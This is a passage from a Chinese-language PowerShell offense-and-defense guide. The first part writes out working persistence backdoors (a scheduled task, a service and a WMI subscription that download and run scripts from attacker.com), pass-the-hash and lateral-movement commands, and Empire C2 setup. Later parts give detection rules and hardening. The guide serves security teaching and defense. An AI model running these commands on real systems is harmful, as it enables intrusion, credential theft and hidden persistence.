schtasks /create /tn "SystemUpdate" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')" /sc onlogon /ru SYSTEM /rl HIGHEST /f
# 创建定时触发的计划任务
schtasks /create /tn "WindowsDefenderUpdate" /tr "powershell.exe -WindowStyle Hidden -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')" /sc minute /mo 30 /ru SYSTEM /f
5.2.3 PowerShell服务后门
powershell
# 创建恶意服务
$serviceName = "WindowsHealthService"
$binaryPath = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
New-Service -Name $serviceName -DisplayName "Windows Health Monitoring Service" -BinaryPathName $binaryPath -StartupType Automatic -Description "Monitors system health and performance"
# 启动服务
Start-Service -Name $serviceName
# 修改现有服务为后门(更隐蔽)
$existingService = Get-Service -Name "SomeUnusedService"
Set-Service -Name $existingService.Name -StartupType Automatic
sc.exe config $existingService.Name binPath= "powershell.exe -WindowStyle Hidden -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
5.2.4 WMI事件订阅持久化(完整代码示例)
powershell
# 完整的WMI永久事件订阅后门
# 该后门在系统启动后300秒自动执行,且不会在任务管理器中显示
# 1. 创建事件过滤器
$filterQuery = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime > 300"
$filterPath = "\\.\root\subscription:__EventFilter.Name='PersistenceFilter'"
$filter = ([wmiclass]"root\subscription:__EventFilter").CreateInstance()
$filter.Name = "PersistenceFilter"
$filter.QueryLanguage = "WQL"
$filter.Query = $filterQuery
$filter.EventNamespace = "root\cimv2"
$filter.Put() | Out-Null
# 2. 创建命令行事件消费者
$consumerPath = "\\.\root\subscription:CommandLineEventConsumer.Name='PersistenceConsumer'"
$consumer = ([wmiclass]"root\subscription:CommandLineEventConsumer").CreateInstance()
$consumer.Name = "PersistenceConsumer"
$consumer.CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
$consumer.ExecutablePath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$consumer.Put() | Out-Null
# 3. 绑定过滤器和消费者
$bindingPath = "\\.\root\subscription:__FilterToConsumerBinding.Filter='PersistenceFilter',Consumer='PersistenceConsumer'"
$binding = ([wmiclass]"root\subscription:__FilterToConsumerBinding").CreateInstance()
$binding.Filter = $filterPath
$binding.Consumer = $consumerPath
$binding.Put() | Out-Null
Write-Output "[+] WMI持久化后门已安装"
# 验证后门
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
5.3 横向移动
5.3.1 PowerShell Pass-the-Hash
powershell
# 使用Invoke-SMBClient进行PTH(来自PowerSploit)
Import-Module .\Invoke-SMBClient.ps1
# 使用NTLM哈希访问SMB共享
$hash = "31d6cfe0d16ae931b73c59d7e0c089c0"
Invoke-SMBClient -Hash $hash -Domain contoso -Username Administrator -Action List -Source \\192.168.1.10\C$
# 使用Invoke-SMBExec通过哈希远程执行命令
Invoke-SMBExec -Hash $hash -Domain contoso -Username Administrator -Command "net user backdoor P@ss123 /add" -Target 192.168.1.10
# 使用Invoke-WMICommand通过WMI进行PTH
Invoke-WMICommand -Hash $hash -Domain contoso -Username Administrator -ScriptBlock { whoami } -ComputerName 192.168.1.10
# 使用Invoke-PsExec进行PTH
Import-Module .\Invoke-PsExec.ps1
Invoke-PsExec -Hash $hash -Domain contoso -Username Administrator -ComputerName 192.168.1.10 -Command "hostname"
5.3.2 PowerShell远程执行命令
powershell
# 使用哈希进行Pass-the-Hash并远程执行
# 方法一:使用RunAs配合哈希(需要额外工具)
# 方法二:使用PowerShell Remoting + PTH
# 通过Invoke-Command使用凭据对象远程执行
$secPassword = ConvertTo-SecureString "Password123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("contoso\Administrator", $secPassword)
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -ScriptBlock {
whoami
ipconfig /all
net user
}
# 批量横向移动执行
$targets = @("192.168.1.10", "192.168.1.11", "192.168.1.12")
$results = Invoke-Command -ComputerName $targets -Credential $cred -ScriptBlock {
[PSCustomObject]@{
Host = $env:COMPUTERNAME
User = whoami
IP = (Get-NetIPConfiguration).IPv4Address.IPAddress
OS = (Get-WmiObject Win32_OperatingSystem).Caption
}
}
$results | Format-Table -AutoSize
5.3.3 各横向移动技术对比
| 横向移动技术 | 所需凭据类型 | 端口 | 日志记录 | 检测难度 |
|---|---|---|---|---|
| Pass-the-Hash (SMB) | NTLM哈希 | 445 | 4624/4672 | 中 |
| PowerShell Remoting | 明文密码/票据 | 5985/5986 | 4624/4648/4104 | 中 |
| WMI远程执行 | 明文密码/哈希 | 135+动态 | 4624 | 高 |
| PsExec替代 | 明文密码/哈希 | 445+动态 | 4624/4688/7045 | 低 |
| Overpass-the-Hash | NTLM哈希 | 88+445 | 4624/4768 | 中 |
| Pass-the-Ticket | Kerberos票据 | 445/5985 | 4624 | 高 |
**【提示】**WMI和WinRM方式的横向移动相对隐蔽,不会创建明显的服务或进程,是红队首选的横向移动方式。
六、PowerShell Empire框架
6.1 Empire概述与安装
PowerShell Empire是一个后期利用框架,专为PowerShell后渗透阶段设计。Empire无需在目标系统上落地文件,所有通信均通过加密的HTTP/HTTPS通道进行,是红队常用的C2框架。
bash
# Docker方式部署Empire
docker pull empireproject/empire
docker run -it -p 80:80 -p 443:443 empireproject/empire
# 源码方式安装(Kali Linux)
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
pip3 install -r requirements.txt
python3 setup.py install
# 启动Empire
./empire
# 启动REST API服务
./empire --rest --username empireadmin --password Password123
6.2 Empire基本使用流程
6.2.1 创建Listener监听器
bash
# 进入Empire交互界面后
# 查看已有监听器
listeners
# 创建HTTP监听器
uselistener http
set Name http_listener
set Host http://attacker.com
set Port 80
set DefaultProfile "/admin/get.php,/login/process.php|Mozilla/5.0"
execute
# 创建HTTPS监听器
uselistener http
set Name https_listener
set Host https://attacker.com
set Port 443
set CertPath /path/to/cert.pem
execute
# 创建重定向监听器(用于隐蔽C2)
uselistener redirector
set Name redirector_listener
set Listener http_listener
execute
6.2.2 生成Stager
bash
# 查看可用的Stager
usestager
# 生成PowerShell一句话Stager
usestager launcher
set Listener http_listener
set Language powershell
execute
# 输出类似:powershell -noP -sta -w 1 -enc <Base64编码的Stager>
# 生成Bat Stager
usestager launcher_bat
set Listener http_listener
execute
# 生成DLL Stager
usestager dll
set Listener http_listener
execute
# 生成HTA Stager(通过HTML Application执行)
usestager hta
set Listener http_listener
execute
6.2.3 Agent上线与管理
bash
# 查看已上线的Agent
agents
# 与Agent交互
interact <AgentName>
# 执行Shell命令
shell whoami
shell ipconfig /all
# 执行PowerShell模块
usemodule powershell_collection_get_userinfo
execute
# 上传文件
upload /path/to/local/file.txt C:\Windows\Temp\file.txt
# 下载文件
download C:\Users\victim\document.txt
# 切换通信协议
usemodule powershell_management_switch_listener
set Listener https_listener
execute
# 提权
usemodule powershell_privesc_getsystem
execute
# 清理痕迹
usemodule powershell_management_invoke_eventvwr
6.3 Empire常用模块表
| 模块类别 | 模块名称 | 功能说明 |
|---|---|---|
| collection | powershell_collection_get_userinfo | 收集当前用户和系统信息 |
| collection | powershell_collection_screenshot | 截取屏幕截图 |
| collection | powershell_collection_keylogger | 键盘记录 |
| collection | powershell_collection_minidump | 转储LSASS进程内存 |
| credentials | powershell_credentials_mimikatz_logonpasswords | 使用Mimikatz导出登录密码 |
| credentials | powershell_credentials_mimikatz_kerberos_tickets | 导出Kerberos票据 |
| credentials | powershell_credentials_invoke_kerberoast | Kerberoasting攻击 |
| lateral | powershell_lateral_movement_invoke_execwmimethod | 通过WMI横向移动 |
| lateral | powershell_lateral_movement_invoke_psexec | 通过PsExec横向移动 |
| lateral | powershell_lateral_movement_invoke_smbexec | 通过SMBExec横向移动 |
| persistence | powershell_persistence_elevated_registry | 注册表权限维持 |
| persistence | powershell_persistence_elevated_schtasks | 计划任务权限维持 |
| persistence | powershell_persistence_elevated_wmi | WMI事件订阅权限维持 |
| privesc | powershell_privesc_getsystem | 获取SYSTEM权限 |
| privesc | powershell_privesc_bypassuac | 绕过UAC提权 |
6.4 Empire与Cobalt Strike的对比
| 特性 | PowerShell Empire | Cobalt Strike |
|---|---|---|
| 脚本语言 | PowerShell/C# | Sleep/Aggressor Script |
| 通信协议 | HTTP/HTTPS | HTTP/HTTPS/DNS/SMB/TCP |
| 免费使用 | 开源免费 | 商业授权(约3500美元/年) |
| 内存执行 | 是 | 是 |
| Beacon功能 | 无 | 有(支持中继和管道通信) |
| 检测难度 | 中(特征较明显) | 中(可定制性更强) |
| 社区支持 | 活跃 | 活跃 |
| 模块生态 | 丰富(社区贡献) | 丰富(付费市场) |
6.5 Empire检测特征与防御
Empire的检测特征主要包括:
- Stager使用-enc参数执行Base64编码命令
- User-Agent特征字符串
- 默认通信URL路径模式(/admin/get.php等)
- 内存中加载大量.NET程序集
- 使用System.Net.WebClient进行网络通信
防御建议:
- 启用PowerShell脚本块日志捕获解码后的Empire Stager
- 配置网络IDS规则检测Empire默认通信特征
- 使用AMSI检测Empire模块加载
- 监控异常PowerShell进程树(如Word → PowerShell)
七、PowerShell安全检测与监控
7.1 PowerShell日志体系
7.1.1 PowerShell脚本块日志(Event ID 4104)
脚本块日志是最有价值的PowerShell审计日志,能够记录解码后的实际执行内容,即使攻击者使用了编码或混淆技术。
| 字段名称 | 说明 |
|---|---|
| EventID | 4104(脚本块执行) |
| MessageNumber | 消息序号 |
| MessageTotal | 总消息数(脚本过长时分多条记录) |
| ScriptBlockText | 脚本块内容(最核心字段) |
| ScriptBlockId | 脚本块唯一标识 |
| Path | 脚本文件路径(若从文件执行) |
| LogLevel | 日志级别(WARNING表示可疑内容) |
日志位置:
事件查看器 → 应用程序和服务日志 → Microsoft → Windows → PowerShell → ScriptBlockLogging → 运行
7.1.2 PowerShell模块日志(Event ID 4103)
模块日志记录PowerShell管道执行过程的详细信息,包括Cmdlet参数和执行结果。
7.1.3 PowerShell转录日志
转录日志记录PowerShell会话的完整输入输出,格式如下:
**********************
Windows PowerShell Transcript Start
Start time: 20260114103025
Username: CONTOSO\Administrator
RunAs User: CONTOSO\Administrator
Configuration Name:
Machine: DC01 (Microsoft Windows NT 10.0.19045.0)
Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process ID: 4520
PSVersion: 5.1.19041.3803
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.3803
BuildVersion: 10.0.19041.3803
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Transcript started, output file is C:\Logs\PowerShell_transcript.DC01.+mF3kM3D.20260114103025.txt
PS C:\> Get-Process lsass
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1024 35 12456 34567 12.34 648 0 lsass
**********************
Windows PowerShell Transcript End
End time: 20260114103100
**********************
7.1.4 Windows PowerShell经典日志
| 事件ID | 日志类型 | 说明 |
|---|---|---|
| 400 | 引擎状态 | PowerShell引擎启动 |
| 403 | 引擎状态 | PowerShell引擎停止 |
| 500 | 已弃用 | 旧版PowerShell管道执行 |
| 600 | 已弃用 | 旧版PowerShell提供程序注册 |
| 800 | 管道执行 | PowerShell管道执行详情(旧版) |
7.1.5 各日志类型对比
| 日志类型 | 日志内容 | 默认状态 | 启用方法 | 检测价值 |
|---|---|---|---|---|
| 脚本块日志(4104) | 解码后脚本内容 | 未启用 | 注册表/组策略 | 极高 |
| 模块日志(4103) | 管道执行详情 | 未启用 | 注册表/组策略 | 高 |
| 转录日志 | 完整输入输出 | 未启用 | 注册表/组策略 | 高 |
| 经典日志(400/800) | 引擎和管道状态 | 启用 | 默认启用 | 中 |
| 事件ID 4104警告 | 可疑脚本块 | 自动记录 | 默认记录警告级别 | 极高 |
**【提示】**即使不手动启用脚本块日志,PowerShell 5.0+也会自动记录被标记为可疑的脚本块(如包含Invoke-Mimikatz、DownloadString等关键字),这些警告级别日志默认开启。
7.2 启用PowerShell日志的配置方法
7.2.1 组策略配置PowerShell日志
配置路径:
计算机配置 → 管理模板 → Windows 组件 → Windows PowerShell
可配置项:
- 打开模块日志记录 → 启用 → 模块名称填写 *
- 打开PowerShell脚本块日志记录 → 启用
- 打开PowerShell脚本执行 → 可选配置
- 打开PowerShell转录 → 启用 → 设置输出目录
7.2.2 注册表配置脚本块日志
powershell
# 启用脚本块日志(推荐)
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (!(Test-Path $regPath)) {
New-Item -Path $regPath -Force
}
Set-ItemProperty -Path $regPath -Name "EnableScriptBlockLogging" -Value 1 -Type DWord
# 启用脚本块Invoke日志(记录所有脚本块的详细调用信息)
Set-ItemProperty -Path $regPath -Name "EnableScriptBlockInvocationLogging" -Value 1 -Type DWord
# 验证配置
Get-ItemProperty -Path $regPath
7.2.3 注册表配置模块日志
powershell
# 启用模块日志
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\PowerShell\ModuleLogging"
if (!(Test-Path $regPath)) {
New-Item -Path $regPath -Force
}
Set-ItemProperty -Path $regPath -Name "EnableModuleLogging" -Value 1 -Type DWord
# 配置记录所有模块
$moduleNamesPath = "$regPath\ModuleNames"
if (!(Test-Path $moduleNamesPath)) {
New-Item -Path $moduleNamesPath -Force
}
Set-ItemProperty -Path $moduleNamesPath -Name "*" -Value "*" -Type String
# 验证配置
Get-ItemProperty -Path $regPath
7.2.4 注册表配置转录日志
powershell
# 启用转录日志
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\PowerShell\Transcription"
if (!(Test-Path $regPath)) {
New-Item -Path $regPath -Force
}
# 启用转录
Set-ItemProperty -Path $regPath -Name "EnableTranscripting" -Value 1 -Type DWord
# 设置输出目录
Set-ItemProperty -Path $regPath -Name "OutputDirectory" -Value "C:\Logs\PowerShell" -Type String
# 启用包含调用者信息
Set-ItemProperty -Path $regPath -Name "EnableInvocationHeader" -Value 1 -Type DWord
# 验证配置
Get-ItemProperty -Path $regPath
7.3 PowerShell检测规则
7.3.1 Sigma规则检测PowerShell恶意行为
检测Base64编码命令的Sigma规则:
yaml
title: PowerShell Encoded Command Execution
id: fb558438-3b8c-4c1c-8b7c-8e574c2b63a3
status: experimental
description: Detects PowerShell execution with Base64 encoded commands
references:
- https://attack.mitre.org/techniques/T1059/001/
author: Security Team
date: 2026/01/14
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains:
- '-EncodedCommand'
- '-enc '
- '-e '
condition: selection
fields:
- CommandLine
- ParentImage
falsepositives:
- Legitimate administrative scripts
level: high
tags:
- attack.execution
- attack.t1059.001
检测Invoke-Mimikatz的Sigma规则:
yaml
title: Invoke-Mimikatz Execution
id: 06d5d01c-87c1-4c5c-9c3e-57c5d0e5a5e0
status: experimental
description: Detects Invoke-Mimikatz execution via PowerShell
author: Security Team
date: 2026/01/14
logsource:
product: windows
service: powershell
detection:
selection:
EventID: 4104
ScriptBlockText|contains:
- 'Invoke-Mimikatz'
- 'DumpCreds'
- 'sekurlsa::logonpasswords'
- 'lsadump::sam'
- 'lsadump::dcsync'
condition: selection
fields:
- ScriptBlockText
- ComputerName
- User
falsepositives:
- Authorized penetration testing
level: critical
tags:
- attack.credential_access
- attack.t1003.001
检测AMSI Bypass的Sigma规则:
yaml
title: AMSI Bypass via Reflection
id: 8c6804a3-2c0e-4b9c-b25b-2c93c5e0a5c1
status: experimental
description: Detects AMSI bypass attempts via reflection
author: Security Team
date: 2026/01/14
logsource:
product: windows
service: powershell
detection:
selection_amsi:
EventID: 4104
ScriptBlockText|contains:
- 'AmsiUtils'
- 'amsiInitFailed'
- 'amsiScanBuffer'
- 'AmsiScanBuffer'
selection_reflection:
ScriptBlockText|contains:
- 'System.Management.Automation.AmsiUtils'
- 'NonPublic,Static'
condition: selection_amsi or selection_reflection
fields:
- ScriptBlockText
- ComputerName
falsepositives:
- Security research
level: critical
tags:
- attack.defense_evasion
- attack.t1562.001
7.3.2 Splunk SPL查询检测PowerShell
splunk
// 搜索4104事件中的恶意关键字
index=windows source="*PowerShell*4104"
(
"Invoke-Mimikatz" OR
"DownloadString" OR
"IEX" OR
"Invoke-Expression" OR
"EncodedCommand" OR
"AmsiUtils" OR
"amsiInitFailed" OR
"Invoke-Obfuscation" OR
"Bypass" OR
"Hidden"
)
| stats count by ComputerName, User, ScriptBlockText
| sort -count
// 检测混淆命令(检测反引号、字符替换等混淆特征)
index=windows source="*PowerShell*4104"
(
match(ScriptBlockText, "`[a-zA-Z]") OR
match(ScriptBlockText, "\[char\]") OR
match(ScriptBlockText, "ConvertFromUtf32") OR
match(ScriptBlockText, "-join") OR
match(ScriptBlockText, "-f\s'") OR
match(ScriptBlockText, "\+.*\+.*\+")
)
| stats count by ComputerName, User
| sort -count
// 检测从网络下载并执行的PowerShell命令
index=windows source="*PowerShell*4104"
(
"Net.WebClient" OR
"DownloadString" OR
"DownloadFile" OR
"Invoke-WebRequest" OR
"Invoke-RestMethod"
)
AND
(
"IEX" OR
"Invoke-Expression" OR
"Start-Process"
)
| table _time, ComputerName, User, ScriptBlockText
// 检测可疑的PowerShell父进程(如Word、Excel等Office程序调用PowerShell)
index=windows source="*Sysmon*" EventCode=1
(Image="*powershell.exe" OR Image="*pwsh.exe")
AND
(ParentImage="*winword.exe" OR ParentImage="*excel.exe" OR ParentImage="*outlook.exe")
| table _time, ComputerName, User, ParentImage, Image, CommandLine
7.3.3 YARA规则检测PowerShell恶意脚本
检测Invoke-Mimikatz的YARA规则:
yara
rule Detect_Invoke_Mimikatz
{
meta:
description = "Detects Invoke-Mimikatz PowerShell script"
author = "Security Team"
date = "2026-01-14"
severity = "critical"
strings:
$mimikatz1 = "Invoke-Mimikatz" nocase
$mimikatz2 = "DumpCreds" nocase
$mimikatz3 = "sekurlsa::logonpasswords" nocase
$mimikatz4 = "lsadump::sam" nocase
$mimikatz5 = "lsadump::dcsync" nocase
$mimikatz6 = "kerberos::ptt" nocase
$mimikatz7 = "privilege::debug" nocase
condition:
2 of ($mimikatz*)
}
rule Detect_PowerShell_Empire_Stager
{
meta:
description = "Detects PowerShell Empire Stager patterns"
author = "Security Team"
date = "2026-01-14"
severity = "high"
strings:
$empire1 = "IEX(New-Object Net.WebClient)" nocase
$empire2 = "DownloadString" nocase
$empire3 = /\/admin\/get\.php/ nocase
$empire4 = /\/login\/process\.php/ nocase
$empire5 = "System.Net.WebClient" nocase
$empire6 = "[Reflection.Assembly]::Load" nocase
condition:
2 of ($empire*)
}
7.3.4 常见PowerShell攻击行为检测关键字表
| 关键字 | 攻击行为 | 检测价值 |
|---|---|---|
| Invoke-Mimikatz | 凭据窃取 | 极高 |
| DumpCreds | 凭据导出 | 极高 |
| DownloadString | 远程脚本下载 | 高 |
| DownloadFile | 远程文件下载 | 高 |
| IEX / Invoke-Expression | 内存执行脚本 | 高 |
| EncodedCommand / -enc | Base64编码执行 | 高 |
| AmsiUtils / amsiInitFailed | AMSI绕过 | 极高 |
| Invoke-Obfuscation | 代码混淆框架 | 高 |
| ExecutionPolicy Bypass | 执行策略绕过 | 中 |
| -WindowStyle Hidden | 隐藏窗口执行 | 中 |
| Add-Type | 编译并加载C#代码 | 中 |
| Reflection.Assembly | 反射加载.NET程序集 | 高 |
| Net.WebClient | WebClient网络通信 | 中 |
| Invoke-WmiMethod | WMI远程执行 | 中 |
| Set-WmiInstance | WMI对象创建(可能用于持久化) | 高 |
| CommandLineEventConsumer | WMI事件消费者(持久化) | 高 |
7.4 AMSI检测集成
AMSI不仅用于PowerShell脚本扫描,其扫描结果可以与EDR产品联动,实现实时告警。
powershell
# 查看已注册的AMSI提供者(杀毒引擎)
$amsiProviders = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -ErrorAction SilentlyContinue
$amsiProviders | ForEach-Object {
$providerCLSID = $_.PSChildName
$providerPath = (Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$providerCLSID\InProcServer32")."(default)"
[PSCustomObject]@{
CLSID = $providerCLSID
Path = $providerPath
}
}
// EDR告警示例(JSON格式)
{
"timestamp": "2026-01-14T10:30:45Z",
"event_type": "AMSI_DETECTION",
"process": "powershell.exe",
"pid": 4520,
"user": "CONTOSO\\user",
"amsi_result": "AMSI_RESULT_DETECTED",
"scan_source": "Windows Defender",
"threat_name": "Trojan:PowerShell/Mimikatz.A",
"script_content": "Invoke-Mimikatz -DumpCreds",
"action_taken": "BLOCKED",
"severity": "CRITICAL"
}
**【提示】**AMSI是PowerShell安全检测的第一道防线,但攻击者有多种Bypass方法。安全团队应将AMSI作为纵深防御的一环,结合脚本块日志和行为分析进行多层检测。
八、PowerShell安全加固方案
8.1 启用Constrained Language Mode
受限语言模式是PowerShell最重要的安全加固措施之一,可显著限制攻击者的能力。
powershell
# 全局启用受限语言模式(通过环境变量)
[Environment]::SetEnvironmentVariable("__PSLockdownPolicy", "4", "Machine")
# 验证当前语言模式
$ExecutionContext.SessionState.LanguageMode
# 通过注册表强制受限语言模式
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
Set-ItemProperty -Path $regPath -Name "__PSLockdownPolicy" -Value 4 -Type DWord
受限语言模式限制COM/WMI/.NET调用的影响:
| 功能 | Full Language Mode | Constrained Language Mode |
|---|---|---|
| 调用.NET API | 允许 | 禁止(白名单除外) |
| 调用COM对象 | 允许 | 禁止 |
| Add-Type编译代码 | 允许 | 禁止 |
| 反射操作 | 允许 | 禁止 |
| 基本Cmdlet | 允许 | 允许 |
| 管道操作 | 允许 | 允许 |
| WMI高级操作 | 允许 | 禁止 |
| Invoke-Expression | 允许 | 禁止 |
**【注意】**受限语言模式可能导致部分合法管理脚本无法运行。部署前应在测试环境中充分验证。
8.2 PowerShell Constrained Language Mode + AppLocker组合方案
当系统启用AppLocker策略后,PowerShell会自动切换到受限语言模式。仅在AppLocker白名单中的脚本可以在Full Language Mode下执行。
powershell
# 检查AppLocker是否已启用
Get-AppLockerPolicy -Effective -Xml
# 创建AppLocker策略(仅允许特定路径的PowerShell脚本执行)
$policyRules = @()
$condition = New-AppLockerPolicyCondition -PathCondition -Path "C:\AllowedScripts\*"
$rule = New-AppLockerPolicyRule -Name "AllowApprovedScripts" -Condition $condition -Action Allow
$policyRules += $rule
$policyRules += New-AppLockerPolicyRule -Name "DenyAll" -Condition (New-AppLockerPolicyCondition -PathCondition -Path "*") -Action Deny
# 生成AppLocker策略XML
$xmlPolicy = New-AppLockerPolicy -Rule $policyRules -Xml
$xmlPolicy | Out-File "C:\AppLockerPolicy.xml"
Set-AppLockerPolicy -XmlPolicy "C:\AppLockerPolicy.xml"
8.3 Windows Defender Application Control(WDAC)配置
WDAC(又称Device Guard)是比AppLocker更强大的应用控制方案,基于内核虚拟化保护(VBS)提供代码完整性策略。
xml
<!-- WDAC策略XML示例 -->
<?xml version="1.0" encoding="utf-8"?>
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
<VersionEx>10.0.0.0</VersionEx>
<PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
<Rules>
<Rule>
<Option>Enabled:Unsigned System Integrity Policy</Option>
</Rule>
<Rule>
<Option>Enabled:Audit Mode</Option>
</Rule>
<Rule>
<Option>Enabled:Inherit Default Policy</Option>
</Rule>
<Rule>
<Option>Allowed:Signers</Option>
</Rule>
</Rules>
<!-- 仅允许微软签名和特定发布者签名的PowerShell脚本 -->
<Signers>
<Signer ID="ID_SIGNER_MICROSOFT" Name="Microsoft">
<CertRoot Type="TBS" Value="..." />
</Signer>
</Signers>
</SiPolicy>
8.4 Just Enough Administration(JEA)
JEA允许管理员为特定用户创建受限的PowerShell端点,仅暴露必要的命令,实现最小权限管理。
JEA配置文件示例:
powershell
# 创建RoleCapability文件
$rolePath = "$env:ProgramFiles\WindowsPowerShell\Modules\JEAMaintenance\RoleCapabilities\MaintenanceRole.psrc"
New-PSRoleCapabilityFile -Path $rolePath -VisibleCmdlets @(
@{ Name = 'Get-Service'; Parameters = @{ Name = 'Name'; ValidateSet = 'Spooler','BITS','WinRM' } }
@{ Name = 'Restart-Service'; Parameters = @{ Name = 'Name'; ValidateSet = 'Spooler','BITS','WinRM' } }
'Get-Process'
'Get-EventLog'
) -VisibleFunctions @(
'Get-NetTCPConnection'
) -VisibleAliases @(
'gsv'
'gps'
)
JEA会话配置文件示例:
powershell
# 创建SessionConfiguration文件
$psscPath = "C:\JEAMaintenance.pssc"
New-PSSessionConfigurationFile -Path $psscPath `
-SessionType RestrictedRemoteServer `
-RunAsVirtualAccount `
-RoleDefinitions @{
"CONTOSO\JEAOperators" = @{ RoleCapabilities = "MaintenanceRole" }
} `
-TranscriptDirectory "C:\Logs\JEA" `
-RequiredGroups @{ Or = "JEA-Operators" }
# 注册JEA端点
Register-PSSessionConfiguration -Path $psscPath -Name JEAMaintenance -Force
# 测试JEA端点
Enter-PSSession -ComputerName localhost -ConfigurationName JEAMaintenance
8.5 各加固方案适用场景与限制对比
| 加固方案 | 适用场景 | 防护强度 | 部署难度 | 兼容性影响 |
|---|---|---|---|---|
| Constrained Language Mode | 限制脚本执行 | 中 | 低 | 高 |
| AppLocker + CLM | 白名单脚本控制 | 高 | 中 | 中 |
| WDAC | 内核级代码完整性 | 极高 | 高 | 高 |
| JEA | 最小权限管理 | 高 | 高 | 低 |
| Script Block Logging | 审计监控 | 不提供防护 | 低 | 无 |
| AMSI | 实时扫描 | 中 | 低 | 低 |
| 执行策略 | 防止误执行 | 低 | 低 | 低 |
**【提示】**企业应采用纵深防御策略,组合使用多种加固方案。推荐的组合为:WDAC/AppLocker + CLM + Script Block Logging + AMSI + JEA。
九、PowerShell攻击工具汇总表
以下表格汇总了常见的PowerShell攻击工具及其检测特征:
| 工具名称 | 主要功能 | 检测特征 | 来源 |
|---|---|---|---|
| PowerSploit | 综合后渗透框架(含Mimikatz、信息收集、代码执行) | Invoke-Mimikatz、Invoke-DllInjection、Write-Userbin等函数名 | GitHub开源 |
| PowerView | 域环境信息收集 | Get-NetDomain、Get-NetUser、Invoke-UserHunter等函数名 | PowerSploit子模块 |
| Empire | C2框架(监听器、Stager、Agent管理) | -enc参数、默认URL路径、特定User-Agent | BC-Security维护 |
| Nishang | 渗透测试脚本合集(包含各种攻击脚本) | Invoke-PowerShellTcp、Get-PassHashes等函数名 | GitHub开源 |
| PowerTools | PowerSploit辅助工具集 | Invoke-ReflectivePEInjection等函数名 | GitHub开源 |
| PSAttack | 免杀版PowerShell攻击工具 | 绕过AMSI和执行策略、自带混淆 | GitHub开源 |
| Rubeus | Kerberos攻击工具 | asktgt、ptt、kerberoast等子命令 | GitHub开源 |
| Invoke-Obfuscation | 代码混淆框架 | 混淆后的代码特征、大量特殊字符 | GitHub开源 |
| PowerCat | PowerShell版Netcat | powercat函数调用、网络连接行为 | GitHub开源 |
| AMSITools | AMSI绕过工具 | AmsiScanBuffer内存修改行为 | GitHub开源 |
**【注意】**安全团队应建立这些工具的检测特征库,结合脚本块日志、AMSI和网络流量进行多维检测。
十、总结与PowerShell安全最佳实践清单
PowerShell作为Windows系统的核心管理工具,在红蓝对抗中扮演着重要角色。攻击者利用PowerShell进行信息收集、凭据窃取、横向移动和权限维持,而防守方则需要通过日志审计、AMSI集成、语言模式限制等多层防护手段进行检测和阻断。
PowerShell安全最佳实践清单:
防御配置类:
- 启用PowerShell脚本块日志(Event ID 4104)
- 启用PowerShell模块日志(Event ID 4103)
- 启用PowerShell转录日志
- 确保AMSI已启用并正常工作
- 启用Windows Defender实时保护
- 配置AppLocker或WDAC代码完整性策略
- 部署JEA最小权限管理端点
- 限制PowerShell远程执行(WinRM)的访问范围
- 配置Sysmon监控PowerShell进程创建和命令行参数
- 将PowerShell日志转发到SIEM平台进行集中分析
检测规则类:
-
建立Sigma规则检测Base64编码命令执行
-
建立规则检测Invoke-Mimikatz等凭据窃取工具
-
建立规则检测AMSI Bypass行为
-
建立规则检测网络下载并执行行为(IEX + DownloadString)
-
建立规则检测WMI事件订阅持久化
-
建立规则检测可疑父进程调用PowerShell(如Office程序)
-
建立规则检测反引号和字符替换混淆
-
建立规则检测Invoke-Obfuscation混淆输出
-
建立YARA规则扫描落地脚本文件
-
配置EDR行为分析检测异常PowerShell活动
加固防护类:
-
将不必要的PowerShell版本(如2.0)通过AppLocker禁用
-
在服务器上部署Constrained Language Mode
-
使用WDAC策略仅允许签名脚本执行
-
限制非管理员用户使用PowerShell Remoting
-
定期审计PowerShell历史文件(ConsoleHost_history.txt)
-
监控WMI命名空间中的事件订阅(root\subscription)
-
监控注册表Run键和计划任务中的可疑条目
-
定期审查PowerShell模块和脚本签名
-
对安全运维人员进行PowerShell安全培训
-
建立PowerShell攻击应急响应流程
